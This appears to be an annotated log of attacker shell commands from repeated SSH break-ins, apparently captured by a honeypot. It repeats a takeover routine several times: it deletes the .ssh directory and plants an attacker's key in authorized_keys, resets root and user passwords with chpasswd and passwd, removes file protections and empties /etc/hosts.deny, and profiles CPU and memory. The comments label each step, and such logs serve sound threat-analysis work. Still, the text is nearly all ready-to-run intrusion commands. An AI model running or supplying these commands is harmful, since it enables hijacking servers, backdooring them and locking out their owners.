$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:lM8q2d2oMNHU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "client@2025\nZgYU3lACxHMk\nZgYU3lACxHMk"|passwd|bash

$ Enter new UNIX password:

$ echo "client@2025\nZgYU3lACxHMk\nZgYU3lACxHMk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:S6yaXQJaqMth"|chpasswd|bash

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "zhbjETuyMffoL8F\nYuXjAr21AqSv\nYuXjAr21AqSv"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "zhbjETuyMffoL8F\nYuXjAr21AqSv\nYuXjAr21AqSv\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:PZAb4DEMzzcL"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "jason123\nAxIi5NhA0Qq0\nAxIi5NhA0Qq0"|passwd|bash

$ echo "jason123\nAxIi5NhA0Qq0\nAxIi5NhA0Qq0\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:EtK94XeWYYZn"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "jason123\n1nbNkPZluWQV\n1nbNkPZluWQV"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "jason123\n1nbNkPZluWQV\n1nbNkPZluWQV\n"|passwd

$ echo -e "zhbjETuyMffoL8F\nIXhhcb8upEgm\nIXhhcb8upEgm"|passwd|bash

$ echo "zhbjETuyMffoL8F\nIXhhcb8upEgm\nIXhhcb8upEgm\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "zhbjETuyMffoL8F\nLNhwWRp2YPj3\nLNhwWRp2YPj3"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "zhbjETuyMffoL8F\nLNhwWRp2YPj3\nLNhwWRp2YPj3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "jason123\n1nbNkPZluWQV\n1nbNkPZluWQV"|passwd|bash

$ echo "jason123\n1nbNkPZluWQV\n1nbNkPZluWQV\n"|passwd

$ echo "root:fW0JqFDNaZ2I"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo "root:15zR5zYCJvgw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo -e "zhbjETuyMffoL8F\nVh8X3wz5hZT9\nVh8X3wz5hZT9"|passwd|bash

$ Enter new UNIX password: ×3

$ echo "zhbjETuyMffoL8F\nVh8X3wz5hZT9\nVh8X3wz5hZT9\n"|passwd

$ echo -e "jason123\nWCjPVdHeDjuD\nWCjPVdHeDjuD"|passwd|bash

$ echo "jason123\nWCjPVdHeDjuD\nWCjPVdHeDjuD\n"|passwd

$ echo -e "testpass\nbEr2bdlXCfrL\nbEr2bdlXCfrL"|passwd|bash

$ echo "testpass\nbEr2bdlXCfrL\nbEr2bdlXCfrL\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo -e "jason123\nTF0PZ89IkIp8\nTF0PZ89IkIp8"|passwd|bash

$ Enter new UNIX password: ×3

$ echo "jason123\nTF0PZ89IkIp8\nTF0PZ89IkIp8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo "root:ZD3dddOlVUJH"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "zhbjETuyMffoL8F\nz4sPOriZ85gr\nz4sPOriZ85gr"|passwd|bash

$ echo "zhbjETuyMffoL8F\nz4sPOriZ85gr\nz4sPOriZ85gr\n"|passwd

$ echo -e "fds\nmDI67gwwq2Uy\nmDI67gwwq2Uy"|passwd|bash

$ echo "fds\nmDI67gwwq2Uy\nmDI67gwwq2Uy\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:MJR7CUOsXO8v"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "caleb\nR84OLSpRv6IN\nR84OLSpRv6IN"|passwd|bash

$ Enter new UNIX password:

$ echo "caleb\nR84OLSpRv6IN\nR84OLSpRv6IN\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Oracle@2025\nr6SQJM4cqNsk\nr6SQJM4cqNsk"|passwd|bash

$ Enter new UNIX password:

$ echo "Oracle@2025\nr6SQJM4cqNsk\nr6SQJM4cqNsk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "main123\nW5obe6ed8QR2\nW5obe6ed8QR2"|passwd|bash

$ Enter new UNIX password:

$ echo "main123\nW5obe6ed8QR2\nW5obe6ed8QR2\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification